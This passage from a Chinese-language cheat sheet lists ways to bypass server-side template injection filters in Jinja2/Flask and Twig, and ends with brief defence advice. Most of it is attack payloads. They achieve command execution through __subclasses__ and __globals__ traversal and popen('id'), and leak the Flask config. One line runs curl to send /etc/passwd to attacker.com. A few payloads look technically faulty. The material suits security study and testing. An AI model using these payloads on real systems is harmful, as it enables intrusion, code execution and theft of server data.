` → 尝试闭合标签:`">
{{7*7}}
`。
- **编码绕过**:
- HTML 实体编码:`{{7*7}}` → 浏览器解析为 `{{7*7}}`。
- URL 编码:`%7B%7B7*7%7D%7D`(需服务端自动解码)。
#### **2. 过滤空格**
- **绕过方法**:
- **用 `+` 或 `\t` 替代**:`{{'os'.popen('ls')}}` → `{{'os'.popen('ls'+'+-la')}}`。
- **使用模板语法特性**:
- Jinja2:`{{'a'~'b'}}` → 输出 `ab`(`~` 为连接符)。
- Twig:`{{'a'~'b'}}` → 同上。
---
### **二、关键字过滤**
#### **1. 过滤 `__class__`、`__globals__` 等魔术方法**
- **绕过方法**:
- **字符串拼接**:
```python
{{ ''['__cla'+'ss__'] }} # Jinja2
{{ ''.__getattribute__('__cla'+'ss__') }} # 通用方法
```
- **编码绕过**:
- Hex 编码:`__class__` → `\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f`。
- Unicode 编码:`__class__` → `\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f`。
- **利用过滤器**(Jinja2):
```python
{{ ''|attr('__class__') }} # 使用 attr 过滤器
{{ ''|attr(['__clas','s__']|join) }} # 拼接关键字
```
#### **2. 过滤 `os`、`system`、`eval` 等危险函数**
- **绕过方法**:
- **反射机制**:
```python
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'] }} # X 为子类索引
```
- **利用内置模块别名**:
- `os` → `sys.modules['os']`(需导入 `sys`)。
- **字符串拼接**:
```python
{{ (request|attr('application')['__globals__']['__builtins__']['__imp'+'ort__']('os')).popen('id') }}
```
---
### **三、过滤特定字符(如 `.`、`[]`)**
#### **1. 过滤点号 `.`**
- **绕过方法**:
- **使用 `|attr()` 过滤器**(Jinja2):
```python
{{ ''|attr('__class__')|attr('__mro__') }}
```
- **字典语法替代**:
```python
{{ ''['__class__']['__mro__'][1] }}
```
#### **2. 过滤方括号 `[]`**
- **绕过方法**:
- **使用 `pop()`、`__getitem__()`**:
```python
{{ ''.__class__.__mro__.__getitem__(1) }}
{{ ''.__class__.__mro__.pop(1) }}
```
---
### **四、过滤数字(如子类索引)**
- **绕过方法**:
- **利用数学运算生成数字**:
```python
{{ ''.__class__.__mro__[2*50+1] }} # 101 → 2*50+1
```
- **使用 `count` 或 `length` 生成数字**:
```python
{{ ''.__class__.__mro__[['a','b','c'].count('a')] }} # count('a')=1
```
---
### **五、上下文感知过滤**
#### **1. 仅允许特定上下文(如 HTML 属性)**
- **绕过方法**:
- **闭合当前标签**:
```html
">
{{7*7}}
```
- **利用事件处理器**:
```html
" onmouseover="{{7*7}}"
```
#### **2. 输出内容被强制转义**
- **绕过方法**:
- **强制原始输出**(部分引擎):
```python
{{ unsafe_content|safe }} # Jinja2 中禁用转义
```
- **利用 `markupsafe.escape` 绕过**(需上下文支持)。
---
### **六、沙箱环境限制**
#### **1. 禁用危险函数或模块**
- **绕过方法**:
- **查找未禁用的子类**:
- 遍历 `object.__subclasses__()` 寻找包含 `os` 模块的类(如 `os._wrap_close`)。
- **利用内置函数**:
```python
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__.builtins['eval']('__import__("os").popen("id")') }}
```
#### **2. 禁用文件读写**
- **绕过方法**:
- **利用网络外带数据**:
```python
{{().__class__.__bases__[0].__subclasses__()[X]('curl http://attacker.com/?leak='+open('/etc/passwd').read(), shell=True) }}
```
---
### **七、通用高级绕过技巧**
1. **利用环境变量**:
```python
{{ config.items() }} # Flask 中泄露配置
{{ self.__dict__._TemplateReference__context.config }} # Jinja2
```
2. **动态函数调用**:
```python
{{ getattr(os, 'sy' + 'stem')('id') }} # 拼接函数名
```
3. **注释符干扰**:
```python
{{ 7*7 # }} → 某些引擎忽略注释后的内容
```
4. **利用 `request` 对象**(Flask):
```python
{{ request['application']['__globals__']['__builtins__']['__import__']('os').popen('id') }}
```
---
### **防御建议**
1. **严格输入过滤**:
- 使用白名单限制允许的字符(如仅字母、数字)。
- 禁止用户输入包含模板语法符号(`{{ }}`、`${}` 等)。
2. **上下文敏感转义**:
- 根据输出位置(HTML/JS/CSS)使用对应的转义规则。
3. **禁用危险功能**:
- 在模板引擎中禁用 `eval`、`exec`、`os` 等危险模块。
4. **沙箱隔离**:
- 使用严格沙箱环境运行模板引擎(如 Jinja2 Sandbox)。